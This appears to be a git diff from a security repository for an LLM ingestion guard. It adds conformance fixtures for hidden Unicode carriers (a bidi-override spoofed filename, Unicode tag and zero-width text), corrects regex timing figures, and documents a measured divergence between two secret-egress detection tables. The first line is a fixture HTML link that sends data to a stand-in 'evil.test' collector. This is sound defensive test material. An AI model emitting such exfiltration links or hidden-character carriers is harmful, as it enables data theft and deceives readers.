|
||||||
|
<a href="https://evil.test/collect?d=stolen">t</a>
|
||||||
19
conformance/carrier__bidi-override/expected.json
Normal file
19
conformance/carrier__bidi-override/expected.json
Normal file
|
|
@ -0,0 +1,19 @@
|
||||||
|
{
|
||||||
|
"$comment": "Generated from a measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
|
||||||
|
"case_id": "carrier__bidi-override",
|
||||||
|
"input": {
|
||||||
|
"file": "input.txt",
|
||||||
|
"bytes": 17,
|
||||||
|
"sha256": "460d6ce9a116d34eb2db0307df7629ea9a8c428e53052913b702496bae695f09"
|
||||||
|
},
|
||||||
|
"scope": [
|
||||||
|
"codepoints/carriers.json"
|
||||||
|
],
|
||||||
|
"match": "exact-within-scope",
|
||||||
|
"findings": [
|
||||||
|
{
|
||||||
|
"pattern_id": "carrier:bidi-override"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"observed_out_of_scope": {}
|
||||||
|
}
|
||||||
1
conformance/carrier__bidi-override/input.txt
Normal file
1
conformance/carrier__bidi-override/input.txt
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
invoicegnp.exe
|
||||||
19
conformance/carrier__unicode-tag/expected.json
Normal file
19
conformance/carrier__unicode-tag/expected.json
Normal file
|
|
@ -0,0 +1,19 @@
|
||||||
|
{
|
||||||
|
"$comment": "Generated from a measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
|
||||||
|
"case_id": "carrier__unicode-tag",
|
||||||
|
"input": {
|
||||||
|
"file": "input.txt",
|
||||||
|
"bytes": 57,
|
||||||
|
"sha256": "353ddbb36ee9037afc0a2a3e47c2496f76702233fb1cabb9d18b5f98bd8e412c"
|
||||||
|
},
|
||||||
|
"scope": [
|
||||||
|
"codepoints/carriers.json"
|
||||||
|
],
|
||||||
|
"match": "exact-within-scope",
|
||||||
|
"findings": [
|
||||||
|
{
|
||||||
|
"pattern_id": "carrier:unicode-tag"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"observed_out_of_scope": {}
|
||||||
|
}
|
||||||
1
conformance/carrier__unicode-tag/input.txt
Normal file
1
conformance/carrier__unicode-tag/input.txt
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
The quarterly report is attached.
|
||||||
19
conformance/carrier__zero-width/expected.json
Normal file
19
conformance/carrier__zero-width/expected.json
Normal file
|
|
@ -0,0 +1,19 @@
|
||||||
|
{
|
||||||
|
"$comment": "Generated from a measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
|
||||||
|
"case_id": "carrier__zero-width",
|
||||||
|
"input": {
|
||||||
|
"file": "input.txt",
|
||||||
|
"bytes": 27,
|
||||||
|
"sha256": "b25844ee91347c3ea4d13dcb2cebed894cb1c3a31fa5e14e1b584ffaf2d20da5"
|
||||||
|
},
|
||||||
|
"scope": [
|
||||||
|
"codepoints/carriers.json"
|
||||||
|
],
|
||||||
|
"match": "exact-within-scope",
|
||||||
|
"findings": [
|
||||||
|
{
|
||||||
|
"pattern_id": "carrier:zero-width"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"observed_out_of_scope": {}
|
||||||
|
}
|
||||||
1
conformance/carrier__zero-width/input.txt
Normal file
1
conformance/carrier__zero-width/input.txt
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
transfer to account 4711
|
||||||
File diff suppressed because one or more lines are too long
|
|
@ -295,6 +295,35 @@ scan-position quadratic, not exponential backtracking: `<script` matches at ~n p
|
||||||
`[^>]*` scans to end of input at each one. Nothing here is catastrophic backtracking, and
|
`[^>]*` scans to end of input at each one. Nothing here is catastrophic backtracking, and
|
||||||
nothing here needs a nested quantifier to happen.
|
nothing here needs a nested quantifier to happen.
|
||||||
|
|
||||||
|
> **Correction, 2026-08-11 (commons `v0.4.1`) — two of the Python figures above read low, and
|
||||||
|
> the `iframe-src` figure below read low by ~3×.** The guard flagged it (coord,
|
||||||
|
> 2026-08-11T19:51:55Z) after measuring the `iframe-src` row themselves and getting roughly 4×
|
||||||
|
> our published number. They attributed the gap to measurement surface — their composed
|
||||||
|
> `scan_lexicon()` against our standalone regex. **That is not the explanation.** Re-measured
|
||||||
|
> here standalone, the same surface the numbers above claim, Python 3.14.0, median-stable across
|
||||||
|
> repeated runs (the two 256 000-char `iframe-src` runs landed 3 ms apart in 51 s):
|
||||||
|
>
|
||||||
|
> | chars | `script-tag` `[^>]*` | `script-tag` `[^><]*` | `iframe-src` `[^>]*` | `iframe-src` `[^><]*` |
|
||||||
|
> |---|---|---|---|---|
|
||||||
|
> | 32 000 | 87.4 ms | 0.17 ms | 822.7 ms | 0.25 ms |
|
||||||
|
> | 100 000 | — | — | 7 859.5 ms | — |
|
||||||
|
> | 256 000 | 5 222.6 ms | 1.25 ms | 51 477.4 ms | 2.08 ms |
|
||||||
|
>
|
||||||
|
> So: the Python `script-tag` figure at 256 000 chars **reproduces** (5.44 s published against
|
||||||
|
> 5.22 s measured), and the one at 32 000 chars does **not** (0.021 s against 0.087 s). The
|
||||||
|
> `iframe-src` pair below reproduces at neither point. The error ratios are not constant, so a
|
||||||
|
> single mis-sized input does not explain it, and the original harness lived in a previous
|
||||||
|
> session's scratchpad and is gone — **the cause is not diagnosable and is not guessed at here.**
|
||||||
|
> Our standalone 100 000-char figure (7.86 s) sits close to the guard's composed 8.95 s, which
|
||||||
|
> is why their surface hypothesis does not survive: the two surfaces differ by much less than
|
||||||
|
> the error did.
|
||||||
|
>
|
||||||
|
> **What does not change:** the shape (quadratic, ×4 per doubling), the direction, and the
|
||||||
|
> decision. Every corrected figure is *larger*, so the case against the old forms is stronger
|
||||||
|
> than the one originally published, and the new forms are flat under both engines. The guard
|
||||||
|
> flagged this because a low number could matter if either side later pins a bound — they were
|
||||||
|
> right to, and the number they should pin against is the one in this box.
|
||||||
|
|
||||||
**Two of the 83 patterns have this shape, not one.** Counted over the whole file, 8 patterns
|
**Two of the 83 patterns have this shape, not one.** Counted over the whole file, 8 patterns
|
||||||
carry a bare `[^>]` and none carries `[^><]`. Six of the 8 are the html-obfuscation family and
|
carry a bare `[^>]` and none carries `[^><]`. Six of the 8 are the html-obfuscation family and
|
||||||
are **bounded** (`[^>]{1,256}`) — measured linear (51 → 164 ms across a 8× input growth), so
|
are **bounded** (`[^>]{1,256}`) — measured linear (51 → 164 ms across a 8× input growth), so
|
||||||
|
|
@ -304,7 +333,8 @@ other two are unbounded `[^>]*`:
|
||||||
- `hybrid-xss:script-tag` — the row this file already tracks.
|
- `hybrid-xss:script-tag` — the row this file already tracks.
|
||||||
- `hybrid-xss:iframe-src` — **not previously named by anyone**, found here by counting rather
|
- `hybrid-xss:iframe-src` — **not previously named by anyone**, found here by counting rather
|
||||||
than by being told. Same shape, same result: 119.6 ms → 16 857 ms over 32 000 → 256 000
|
than by being told. Same shape, same result: 119.6 ms → 16 857 ms over 32 000 → 256 000
|
||||||
chars of `'<iframe '`.
|
chars of `'<iframe '`. **Both figures are superseded — see the correction box above:
|
||||||
|
822.7 ms → 51 477.4 ms on re-measurement, standalone, same unit.**
|
||||||
|
|
||||||
What this does and does not license:
|
What this does and does not license:
|
||||||
|
|
||||||
|
|
|
||||||
295
docs/secret-egress-divergence.md
Normal file
295
docs/secret-egress-divergence.md
Normal file
|
|
@ -0,0 +1,295 @@
|
||||||
|
# Secret-egress divergence — commons vs the Python guard
|
||||||
|
|
||||||
|
**Status: informative.** Nothing here is normative and nothing here changes a data file. It
|
||||||
|
records a measured disagreement between two tables that were believed to be two cuts of one
|
||||||
|
source, and turns out not to be. Under this repository's behaviour-preservation invariant,
|
||||||
|
a divergence found here is **reported, not fixed**.
|
||||||
|
|
||||||
|
Produced 2026-08-13. Every number below came from a command; the scripts live in the session
|
||||||
|
scratchpad rather than in this repository, because executable code here would breach the
|
||||||
|
charter. They are reproducible from the method column. The guard was read via
|
||||||
|
`git archive v0.7.0`, never from its working copy.
|
||||||
|
|
||||||
|
**The premise this document was opened to test does not survive it.** The open question was
|
||||||
|
recorded as "19 entries here against the guard's 25, cut at different granularity" — one
|
||||||
|
table, two granularities. That is not what the two files are. They are ports of **two
|
||||||
|
different source tables in the same source repository**, and the granularity difference is a
|
||||||
|
consequence of that, not the cause. Everything below follows from correcting that premise.
|
||||||
|
|
||||||
|
## What was compared
|
||||||
|
|
||||||
|
| Side | Artefact | Version / coordinate |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| commons | [`signatures/secret-egress.json`](../signatures/secret-egress.json) | file `version` 0.3.0, 19 entries |
|
||||||
|
| guard | `llm-ingestion-pipeline-security` `src/llm_ingestion_guard/output.py` `_SECRET_PATTERNS` | tag `v0.7.0` = commit `be9759b`, 25 entries |
|
||||||
|
| seed A | `llm-security` `hooks/scripts/pre-edit-secrets.mjs` `SECRET_PATTERNS` | commit `47905da`, 19 entries — what commons ported |
|
||||||
|
| seed B | `llm-security` `knowledge/secrets-patterns.md` | commit `47905da`, blob `a7ed469`, 33 entries — what the guard ported |
|
||||||
|
|
||||||
|
**The guard's v0.7.0 is the guard's current behaviour.** `git diff v0.7.0..aff3511 -- src/`
|
||||||
|
is empty, where `aff3511` was the guard's head when this was measured. Pinning at the tag
|
||||||
|
therefore costs no currency; it is not a waypoint measurement.
|
||||||
|
|
||||||
|
**Seed B was read, not accepted.** The guard's module docstring asserts *"Ported from the
|
||||||
|
`llm-security` `knowledge/secrets-patterns.md` seed"*. That assertion is a claim about a
|
||||||
|
third repository and would be an attribution, not a finding, if it were relayed. It was
|
||||||
|
measured instead: the file exists at the pinned commit on the public remote, and all 25 of
|
||||||
|
the guard's ids appear in it verbatim — `0` guard ids are absent from seed B. The docstring
|
||||||
|
is correct.
|
||||||
|
|
||||||
|
**Both seeds are named in commons' own file.** `signatures/secret-egress.json`'s `$comment`
|
||||||
|
already says which of the two it took and that the other *"is a separate PCRE-flavoured
|
||||||
|
agent-consumed variant that stays where it is"*. What was not known until now is that the
|
||||||
|
guard ported the other one.
|
||||||
|
|
||||||
|
## Result
|
||||||
|
|
||||||
|
| Measure | Method | Result |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| Entry count, both sides | count entries | 19 and 25 |
|
||||||
|
| Seed B entry count | parse the `.md` at the pinned blob | 33 |
|
||||||
|
| Guard ids present in seed B | set membership on `id` | **25/25** |
|
||||||
|
| Seed B ids the guard did not port | set difference | **8** |
|
||||||
|
| Guard vs seed B, field-identical | compare regex (after stripping seed B's `(?i)` inline rendering), flags and severity | **16/25** |
|
||||||
|
| — of the 9 remaining, escaping-only | unescape the guard's `\"` (a Python raw-string artefact) and compare for string identity | **4/4 identical** |
|
||||||
|
| — of the 9 remaining, behaviourally real | differential match comparison | **5** — 4 connection strings, 1 capture-group change |
|
||||||
|
| commons vs guard, byte-identical patterns | unescape both sides' `\/` and `\"`, compare source + flags | **2/19** |
|
||||||
|
| Differential probe corpus | one witness per guard id, plus each side's exclusive shapes and the semantics witness | 36 probes |
|
||||||
|
| Shapes commons reports and the guard is silent on | differential | **7 witnesses, across 5 commons entries** |
|
||||||
|
| Shapes the guard reports and commons is silent on | differential | **3** |
|
||||||
|
| Match-semantics divergence | one witness matching two entries on both sides | **1 label vs 2 labels** |
|
||||||
|
|
||||||
|
16 field-identical + 4 escaping-only + 5 real = 25.
|
||||||
|
|
||||||
|
**The `2/19` is the number that says these are not two cuts of one table.** Only
|
||||||
|
`GitHub Fine-Grained PAT` ↔ `github-pat-fine-grained` and `OpenAI Legacy API Key` ↔
|
||||||
|
`openai-api-key-legacy` are byte-identical after unescaping. Even `AWS Access Key ID` is not:
|
||||||
|
commons has `AKIA[0-9A-Z]{16}` and the guard has the same run anchored, `\bAKIA[0-9A-Z]{16}\b`.
|
||||||
|
The earlier note calling that pair the one clean 1:1 was wrong, and was wrong by transcription
|
||||||
|
rather than by measurement.
|
||||||
|
|
||||||
|
## Match semantics: the divergence that is not about membership
|
||||||
|
|
||||||
|
This is the finding a membership table would hide, and it is the one a consumer implementing
|
||||||
|
from commons will get wrong first.
|
||||||
|
|
||||||
|
`signatures/secret-egress.json` declares ``match_semantics: "first match wins; patterns are
|
||||||
|
evaluated in ascending `order`"``, marks `ordering.normative: true`, and names
|
||||||
|
`last_entry_is_load_bearing: "JWT (three-part token)"` — the JWT entry is placed last
|
||||||
|
precisely so a token inside an `Authorization` header is reported as the header, not as a
|
||||||
|
bare JWT.
|
||||||
|
|
||||||
|
The guard's `scan_secret_egress` runs `finditer` over all 25 patterns and adds a finding for
|
||||||
|
every match. Order carries **no** semantics there, and there is no first-match-wins layer.
|
||||||
|
|
||||||
|
Measured on one witness — an `Authorization` header whose value is a three-part JWT:
|
||||||
|
|
||||||
|
| Side | Finding set |
|
||||||
|
| --- | --- |
|
||||||
|
| commons, under its own declared contract | `Authorization header with token` — one label |
|
||||||
|
| guard, `scan_secret_egress` at `v0.7.0` | `egress:bearer-token`, `egress:jwt-token` — two labels |
|
||||||
|
|
||||||
|
Both detect the credential. They disagree about what a report says, which is what a
|
||||||
|
`conformance/expected.json` encodes. Two runtimes that both "pass" here would still produce
|
||||||
|
different fixture files.
|
||||||
|
|
||||||
|
The commons side of this was not hand-rewritten: the evaluator compiles the patterns out of
|
||||||
|
the JSON, in `order`, applying `re.I` exactly where the file's own `dialect.translation_notes`
|
||||||
|
say to, and stops at the first hit. The guard side is the imported module. Neither table was
|
||||||
|
transcribed.
|
||||||
|
|
||||||
|
## Membership, measured
|
||||||
|
|
||||||
|
Every row below comes from running a witness input through both sides, not from reading the
|
||||||
|
two regexes side by side.
|
||||||
|
|
||||||
|
| commons `order` / name | guard ids observed | Relation |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| 0 `AWS Access Key ID` | `aws-access-key-id` | 1:1, guard anchored |
|
||||||
|
| 1 `AWS Secret Access Key` | — | **guard silent** |
|
||||||
|
| 2 `Azure Connection String (AccountKey/SharedAccessKey/sig)` | `azure-storage-key` | overlap; see below |
|
||||||
|
| 3 `Azure AD ClientSecret` | `azure-client-secret` | 1:1 |
|
||||||
|
| 4 `Azure AI Services Key` | — | **guard silent** |
|
||||||
|
| 5 `GitHub Token` | `github-pat-classic`, `github-oauth-token`, `github-server-token` | 1:3, **plus 2 prefixes neither guard id covers** |
|
||||||
|
| 6 `npm Token` | `npm-token` | 1:1 |
|
||||||
|
| 7 `Anthropic API Key` | `anthropic-api-key` | 1:1 |
|
||||||
|
| 8 `OpenAI Project Key` | `openai-project-key` | 1:1 |
|
||||||
|
| 9 `GitHub Fine-Grained PAT` | `github-pat-fine-grained` | 1:1, **byte-identical** |
|
||||||
|
| 10 `Google API Key` | `gcp-api-key` | 1:1 |
|
||||||
|
| 11 `Private Key PEM Block` | `rsa-private-key`, `ec-private-key`, `pkcs8-private-key` | 1:3, **minus one PEM label** |
|
||||||
|
| 12 `JWT Secret` | — | **guard silent** |
|
||||||
|
| 13 `Slack/Discord Webhook URL` | — | **guard silent** |
|
||||||
|
| 14 `Generic credential assignment` | `generic-api-key`, `config-password`, `config-secret` | 1:3 |
|
||||||
|
| 15 `Authorization header with token` | `bearer-token` (+ `jwt-token`, see semantics) | 1:1 |
|
||||||
|
| 16 `Database connection string` | `postgres-connstr`, `mysql-connstr`, `redis-connstr` | 1:3, **minus the MongoDB SRV form** |
|
||||||
|
| 17 `OpenAI Legacy API Key` | `openai-api-key-legacy` | 1:1, **byte-identical** |
|
||||||
|
| 18 `JWT (three-part token)` | `jwt-token` | 1:1 |
|
||||||
|
|
||||||
|
Guard ids with no commons entry firing on their own witness: `gcp-service-account-json`,
|
||||||
|
`mongodb-connstr` — and `ec-private-key` on the `ENCRYPTED` header.
|
||||||
|
|
||||||
|
`Azure Connection String` is listed as *overlap* rather than 1:1 deliberately. Commons'
|
||||||
|
entry is `(?:AccountKey|SharedAccessKey|sig)=[A-Za-z0-9+/=]{20,}` — three alternatives, no
|
||||||
|
length pin. The guard's `azure-storage-key` is `AccountKey=([A-Za-z0-9+/]{86}==)` — one
|
||||||
|
alternative, exact length. The corpus witnessed only the `AccountKey` shape, where both fire.
|
||||||
|
`SharedAccessKey=` and `sig=` were not witnessed; seed B carries them under separate ids
|
||||||
|
(`azure-servicebus-connstr`, `azure-sas-token`) that the guard did not port. Read this row as
|
||||||
|
"one witnessed overlap", not as a coverage claim.
|
||||||
|
|
||||||
|
## What each side misses that the other catches
|
||||||
|
|
||||||
|
**Commons reports, guard silent — 7 witnesses across 5 commons entries:**
|
||||||
|
|
||||||
|
| Witness shape | commons entry | Why the guard is silent |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| `ghu_` prefixed token | `GitHub Token` | guard ported `ghp`/`gho`/`ghs`; no id for `ghu` |
|
||||||
|
| `ghr_` prefixed token | `GitHub Token` | same |
|
||||||
|
| `aws_secret_access_key = <40 chars>` | `AWS Secret Access Key` | seed B has `aws-secret-access-key`; guard did not port it |
|
||||||
|
| `Ocp-Apim-Subscription-Key` assignment | `Azure AI Services Key` | absent from seed B entirely |
|
||||||
|
| `JWT_SECRET` assignment | `JWT Secret` | absent from seed B entirely |
|
||||||
|
| Slack webhook URL | `Slack/Discord Webhook URL` | absent from seed B entirely |
|
||||||
|
| Discord webhook URL | `Slack/Discord Webhook URL` | same |
|
||||||
|
|
||||||
|
One row is one witness, so two commons entries appear twice: `GitHub Token` covers five
|
||||||
|
prefixes behind one name, and `Slack/Discord Webhook URL` covers two hosts. Counting rows
|
||||||
|
rather than entries would overstate how much of commons the guard is missing, and counting
|
||||||
|
entries rather than rows would hide that `GitHub Token` is only *partly* uncovered — its
|
||||||
|
`ghp`/`gho`/`ghs` prefixes map onto three guard ids just fine.
|
||||||
|
|
||||||
|
Three of the seven are the sharper finding: the `Ocp-Apim-Subscription-Key`, `JWT_SECRET` and
|
||||||
|
webhook shapes are not entries the guard declined to port, they are entries **seed B does not
|
||||||
|
have**. Seed A carries three shapes seed B never did.
|
||||||
|
|
||||||
|
**Guard reports, commons silent — 3 shapes:**
|
||||||
|
|
||||||
|
| Shape | guard id | Why commons is silent |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| `"type": "service_account"` | `gcp-service-account-json` | seed A has no GCP service-account marker |
|
||||||
|
| `-{5}BEGIN ENCRYPTED PRIVATE KEY-{5}` | `ec-private-key` | commons' PEM alternation is `(?:RSA \| EC \| DSA \| OPENSSH )?`; `ENCRYPTED` is not in it |
|
||||||
|
| `mongodb+srv://user:pw@host` | `mongodb-connstr` | commons' scheme run is `(?:postgres\|mysql\|mongodb\|redis)://` — the `+srv` suffix breaks the literal |
|
||||||
|
|
||||||
|
The `mongodb+srv` miss is worth naming precisely: commons is not missing MongoDB, it is
|
||||||
|
missing the **SRV** form, which is the form Atlas hands out. Plain `mongodb://` is caught.
|
||||||
|
|
||||||
|
**This asymmetry is not a scoreboard.** Each side is faithful to its own seed. Every shape in
|
||||||
|
the left table is present in seed A and absent from seed B; every shape in the right table is
|
||||||
|
the reverse. Neither port is wrong about its source. The seeds disagree.
|
||||||
|
|
||||||
|
## False-positive suppression: a layer commons has no field for
|
||||||
|
|
||||||
|
The guard applies value-based suppression to the five entries that capture a value
|
||||||
|
(`_is_fp_value`): structural placeholders (`your-`, `<`, `>`, `***`), word-boundary
|
||||||
|
placeholder words (`example`, `changeme`, `todo`, …), variable references (`${`, `$(`,
|
||||||
|
`os.environ`, `process.env`, …), all-same-character values, and values under 8 characters.
|
||||||
|
|
||||||
|
Measured:
|
||||||
|
|
||||||
|
| Witness | commons (first match) | guard |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| `password: 'your-password-here'` | `Generic credential assignment` | — suppressed |
|
||||||
|
| `api_key: '${MY_API_KEY_VALUE}'` | `Generic credential assignment` | — suppressed |
|
||||||
|
|
||||||
|
Commons has no field that could carry this. `dialect.translation_notes` warns in prose that
|
||||||
|
the generic entries are *"shape matches, not proofs of a live credential"* and assigns the
|
||||||
|
trade-off to the consumer's policy — which is a correct statement of ownership and is also
|
||||||
|
why two consumers reading commons will produce different reports on the same placeholder.
|
||||||
|
Seed B carries the suppression semantics per entry in a `false_positive_notes` field; seed A
|
||||||
|
carries name and pattern only, so commons had nothing to extract. This is a gap in the seed,
|
||||||
|
not an omission in the extraction.
|
||||||
|
|
||||||
|
## The connection-string bound
|
||||||
|
|
||||||
|
The guard bounds the password run in all four connection-string patterns at
|
||||||
|
`MAX_CONNSTR_VALUE = 256`, and its module explains why in full: an unbounded run in front of
|
||||||
|
a required literal makes every start position rescan the tail when the literal never arrives.
|
||||||
|
They measured 8.2 s at 100 000 characters on crafted `redis://:` input and extrapolated to
|
||||||
|
hours at their own 1 000 000-character cap. Seed B's connection-string patterns are unbounded;
|
||||||
|
this is one of the 5 real guard-vs-seed-B drifts, and it is a deliberate, documented one.
|
||||||
|
|
||||||
|
Commons' `Database connection string` is `(?:postgres|mysql|mongodb|redis):\/\/[^\s]+@[^\s]+`
|
||||||
|
— **shape-analogous** to what the guard bounded. Measured against the exact boundary:
|
||||||
|
|
||||||
|
| Password length | commons | guard |
|
||||||
|
| --- | --- | --- |
|
||||||
|
| 12 | matches | `egress:postgres-connstr` |
|
||||||
|
| 256 | matches | `egress:postgres-connstr` |
|
||||||
|
| 257 | matches | — |
|
||||||
|
| 300 | matches | — |
|
||||||
|
|
||||||
|
Read this as two facts, not one verdict. Commons has recall the guard traded away above 256
|
||||||
|
characters. Commons also carries the runtime shape the guard's measurement was about — and
|
||||||
|
carries it in an *unanchored* form (`[^\s]+@[^\s]+` rather than the guard's
|
||||||
|
`[^:@\s]+:…@[^\s'"]+`), so the two are not the same pattern under load and no timing claim
|
||||||
|
about commons is made here. **Nothing is changed on that basis.** The entry is faithful to
|
||||||
|
seed A, the file that owns it is `llm-security`'s, and the behaviour-preservation invariant
|
||||||
|
puts the decision there. It is reported, and the guard's measurement is cited so the owner
|
||||||
|
does not have to redo it.
|
||||||
|
|
||||||
|
## Severity and ids: what commons does not carry
|
||||||
|
|
||||||
|
Seed B carries `id` and `severity` per entry; the guard preserved both, and all 25 severities
|
||||||
|
are field-identical to the seed. Seed A carries neither, so commons carries neither, and its
|
||||||
|
`evidence_limits` says so explicitly: *"No severity, and no per-entry disposition, was
|
||||||
|
supplied … so neither is invented here."*
|
||||||
|
|
||||||
|
That restraint was right and it has a consequence: **commons has no id space for this table.**
|
||||||
|
Its entries are keyed by human-readable `name` (`"GitHub Token"`), while the guard emits
|
||||||
|
`egress:<id>` labels. A `conformance/expected.json` scoped to secret egress cannot be written
|
||||||
|
against commons today, because a fixture names labels and commons has none to name.
|
||||||
|
|
||||||
|
The 25 guard ids are **not guard-internal labels**. They are seed B's ids, adopted verbatim,
|
||||||
|
which was measured above (25/25 present in the seed). That makes the id space question a
|
||||||
|
question for `llm-security` first — they own both seeds and the id space in one of them — and
|
||||||
|
for the guard second. Per this repository's naming rule, **no id is proposed here.** The rule
|
||||||
|
that `carrier:*` established applies exactly: naming an id in a shared space is the exception,
|
||||||
|
it requires both runtimes asked first, and publishing `aliases.<runtime>` is irreversible at
|
||||||
|
file granularity.
|
||||||
|
|
||||||
|
## What this does not show
|
||||||
|
|
||||||
|
- **It does not show that either table is wrong.** Both are faithful ports. The disagreement
|
||||||
|
is between seed A and seed B, inside `llm-security`, and only that repository can say
|
||||||
|
whether two tables is intentional (one engine-consumed, one agent-consumed) or whether one
|
||||||
|
supersedes the other.
|
||||||
|
- **It does not measure seed A's current state.** Commons' fidelity to seed A was verified at
|
||||||
|
commit `47905da` and this document adds nothing to that.
|
||||||
|
*(Seed B was read at the same commit, which is a shared coordinate and not the commit the
|
||||||
|
guard ported from. That was going to be a caveat — a seed-B entry that moved between the
|
||||||
|
guard's port and `47905da` would show up here as guard drift. It is dissolved by measurement
|
||||||
|
instead: `git log -- knowledge/secrets-patterns.md` in a deepened mirror returns exactly one
|
||||||
|
commit at or before `47905da`, `f153f96`, dated 2026-04-08, and the guard's `output.py` was
|
||||||
|
first committed 2026-07-04. The seed had been still for three months when the port was
|
||||||
|
written and has not moved since. Reading it at `47905da` reads what the guard ported from,
|
||||||
|
so the 5 real drifts are guard-side by measurement rather than by inference.)*
|
||||||
|
- **It does not compare coverage.** The probe corpus has one witness per guard id plus each
|
||||||
|
side's exclusive shapes — 36 inputs. It is built to expose membership and semantics, not to
|
||||||
|
estimate recall. `SharedAccessKey=` and `sig=` Azure shapes, and seed B's 8 unported ids,
|
||||||
|
have no witness here.
|
||||||
|
- **It does not measure the runtimes' entry points.** Both sides were driven at table level:
|
||||||
|
commons through an evaluator compiled from its own JSON under its own declared contract, the
|
||||||
|
guard through `scan_secret_egress` directly. What `scan_output` composes around it —
|
||||||
|
decode-and-rescan re-labelling findings as `decoded:egress:*`, the oversize cap — is not in
|
||||||
|
scope and would change the finding sets.
|
||||||
|
- **It does not touch `manifest.json`.** `scope_planned.blockers` still names this divergence
|
||||||
|
as the blocker for egress cases. Whether this document dissolves that blocker or merely
|
||||||
|
describes it is a separate decision, and it depends on answers this document does not have.
|
||||||
|
|
||||||
|
## Consequence for `conformance/`
|
||||||
|
|
||||||
|
An egress case is not mintable today, and the reason has changed. It was recorded as "the two
|
||||||
|
tables are cut at different granularity". The measured reasons are three, and they are
|
||||||
|
independent:
|
||||||
|
|
||||||
|
1. **No id space on the commons side.** A fixture names labels. Commons has names, not ids.
|
||||||
|
This is the hard blocker and it is the subject of the outgoing question to both runtimes.
|
||||||
|
2. **Match semantics disagree.** Even with an id space, the Bearer-plus-JWT witness produces a
|
||||||
|
one-label expectation under commons' declared contract and a two-label one from the guard.
|
||||||
|
A fixture would have to encode one of them.
|
||||||
|
3. **Membership disagrees in both directions**, and the disagreement is inherited from two
|
||||||
|
different seeds rather than from a porting error — so it cannot be closed by re-measuring
|
||||||
|
either port.
|
||||||
|
|
||||||
|
None of the three is dissolved by a measurement this repository can run alone. Per
|
||||||
|
`conformance/manifest.json` → `entry_points_by_scope`, a new scope also needs an entry point,
|
||||||
|
a findings accessor and a fixture presentation for every runtime before its first case, and
|
||||||
|
those three slots are empty for egress on both runtimes. That requirement stands independently
|
||||||
|
of everything above.
|
||||||
|
|
@ -1,5 +1,5 @@
|
||||||
{
|
{
|
||||||
"version": "0.2.0",
|
"version": "0.3.0",
|
||||||
"id": "active-content",
|
"id": "active-content",
|
||||||
"description": "Active content in persisted text: constructs that fetch, render or execute on their own when a renderer touches them. The EchoLeak class (CVE-2025-32711). Report-only data: no construct here is defined as something to remove.",
|
"description": "Active content in persisted text: constructs that fetch, render or execute on their own when a renderer touches them. The EchoLeak class (CVE-2025-32711). Report-only data: no construct here is defined as something to remove.",
|
||||||
"owasp": "LLM05",
|
"owasp": "LLM05",
|
||||||
|
|
@ -15,10 +15,26 @@
|
||||||
"active:markdown-image",
|
"active:markdown-image",
|
||||||
"active:markdown-link",
|
"active:markdown-link",
|
||||||
"active:raw-html",
|
"active:raw-html",
|
||||||
|
"active:raw-html-link",
|
||||||
"active:reference-link"
|
"active:reference-link"
|
||||||
],
|
],
|
||||||
|
"ids_added_in_0_3_0": {
|
||||||
|
"$comment": "One id was ADDED, and no id was changed or removed, which is what keeps this a minor bump. What did narrow is `active:raw-html`'s membership — see the top-level `behaviour_change` block, which a consumer upgrading from 0.2.0 must read.",
|
||||||
|
"added": [
|
||||||
|
"active:raw-html-link"
|
||||||
|
],
|
||||||
|
"adopted_verbatim": "Not named here. The seed runtime shipped the class string `raw-html-link` in its 0.7.0 release, and this file's `field` rule turns it into the id mechanically, exactly as it did for the original six. No naming decision was taken and neither runtime was asked for one — unlike `codepoints/carriers.json`, where the id had to be named because the runtimes disagreed. Only one runtime implements this table, so there is no second namer to consult."
|
||||||
|
},
|
||||||
"verified": {
|
"verified": {
|
||||||
"method": "The six `constructs` keys were compared to the six class strings the seed runtime passes to its finding emitter: the `_flag(cls, …)` call sites in active_content.py, whose emitter builds `label=f\"active:{cls}\"`. Set-equal, exact strings, no normalisation applied.",
|
"method": "The `constructs` keys were compared to the class strings the seed runtime passes to its finding emitter: the `_flag(cls, …)` call sites in active_content.py, whose emitter builds `label=f\"active:{cls}\"`. Set-equal, exact strings, no normalisation applied.",
|
||||||
|
"recheck_0_3_0": {
|
||||||
|
"$comment": "Re-run for the seventh id rather than extrapolated from the six. At v0.7.0 the raw-HTML pass no longer reaches its emitter through a `_flag` call site with a literal class argument — it collects into a two-key dict and loops `for cls in (\"raw-html\", \"raw-html-link\")`, so the comparison method above had to be re-established rather than repeated.",
|
||||||
|
"date": "2026-08-13",
|
||||||
|
"at_commit": "be9759b",
|
||||||
|
"source_version": "0.7.0",
|
||||||
|
"method": "The seven `constructs` keys were compared to the seven class strings reachable at the emitter: the five literal `_flag(...)` call sites (`markdown-image`, `markdown-link`, `reference-link`, `autolink`, `data-uri`) plus the two-member loop tuple that drives the raw-HTML pass, cross-checked against `active_tag_class`'s three possible non-None return values (`\"raw-html\"`, `\"raw-html-link\"`, and `\"raw-html\"` again from the event-handler and outside-the-name-set branches). Set-equal, exact strings.",
|
||||||
|
"measured_through_the_entry_point_too": "Not only read off the source. Each of the seven ids was produced by running the seed runtime's own payload for it through `scan_output(text, source=Source.OUTPUT)` at this commit; all seven labels came back verbatim. The payloads were extracted from `coverage.py`'s AST rather than retyped."
|
||||||
|
},
|
||||||
"line_numbers": {
|
"line_numbers": {
|
||||||
"$comment": "Given per commit rather than once, because the two differ and a reader checking against this file's provenance pin would otherwise land on the wrong lines. The 23-line insert between the two commits shifts everything below it by 21.",
|
"$comment": "Given per commit rather than once, because the two differ and a reader checking against this file's provenance pin would otherwise land on the wrong lines. The 23-line insert between the two commits shifts everything below it by 21.",
|
||||||
